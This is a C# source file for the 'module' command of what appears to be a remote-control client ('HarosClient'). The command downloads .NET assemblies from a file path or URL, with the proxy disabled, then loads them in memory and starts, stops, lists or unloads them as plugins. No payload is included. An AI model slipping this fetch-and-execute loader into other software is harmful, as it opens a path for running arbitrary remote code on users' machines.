﻿using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Text;

namespace HarosClient.Commands
{
    public class ModuleCommand : ICommand
    {
        public string Name {  get { return "module"; } }
        public string Syntax { get { return "module [--load <path>/<url>] [--unload <name>] [--start <name> <args>] [--stop <args>] [--show]"; } }
        public Dictionary<string, IModule> Modules { get; private set; }
        
        public ModuleCommand()
        {
            Modules = new Dictionary<string, IModule>();
        }
        
        public void Invoke(Client client, StringBuilder output, params string[] args)
        {
            if (args.Length <= 0)
                output.AppendFormat("Error! Expected 1 arg, got {0}", args.Length);
            else
            {
                switch (args[0].ToLower())
                {
                    case "-l":
                    case "--load":
                        if (args.Length < 2)
                            output.AppendFormat("Error! Expected 2 args, got {0}", args.Length);
                        else
                        {
                            byte[] bytes;
                            if (File.Exists(args[1]))
                                bytes = File.ReadAllBytes(args[1]);
                            else
                            {
                                using (WebClient wc = new WebClient())
                                {
                                    wc.Proxy = null;
                                    bytes = wc.DownloadData(args[1]);
                                }
                            }
                            int oldModuleCount = Modules.Count;
                            gatherIModules(Assembly.Load(bytes));
                            output.AppendFormat("Added {0} modules", Modules.Count - oldModuleCount);
                        }
                        break;
                    case "-s":
                    case "--start":
                        if (args.Length < 2)
                            output.AppendFormat("Error! Expected 2 args, got {0}", args.Length);
                        else
                        {
                            if (!Modules.ContainsKey(args[1]))
                                output.AppendFormat("Error! No such module {0}", args[1]);
                            else
                            {
                                Modules[args[1]].ThreadStart(string.Join(" ", args.Skip(2)));
                                output.Append("Started module");
                            }
                        }
                        break;
                    case "--show":
                        output.AppendLine("Modules:      IsRunning:");
                        output.AppendLine("------------------------");
                        foreach (var module in Modules.Values)
                            output.AppendFormat("{0}        {1}\r\n", module.Name, module.IsRunning);
                        break;
                    case "--stop":
                        if (args.Length < 2)
                            output.AppendFormat("Error! Expected 2 args, got {0}", args.Length);
                        else
                        {
                            if (!Modules.ContainsKey(args[1]))
                                output.AppendFormat("Error! No such module {0}", args[1]);
                            else
                            {
                                Modules[args[1]].ThreadStop();
                                output.AppendFormat("Module stopped");
                            }
                        }
                        break;
                    case "-u":
                    case "--unload":
                        if (args.Length < 2)
                            output.AppendFormat("Error! Expected 2 args, got {0}", args.Length);
                        else
                        {
                            if (!Modules.ContainsKey(args[1]))
                                output.AppendFormat("Error! No such module {0}", args[1]);
                            else
                            {
                                Modules[args[1]].ThreadStop();
                                Modules.Remove(args[1]);
                                output.Append("Removed module");
                            }
                        }
                        break;
                }
            }
        }

        private void gatherIModules(Assembly assembly)
        {
            foreach (var type in assembly.GetTypes())
            {
                if (type.GetInterface(typeof(IModule).FullName) != null)
                {
                    var module = (IModule)Activator.CreateInstance(type);
                    Modules.Add(module.Name, module);
                }
            }
        }
    }
}
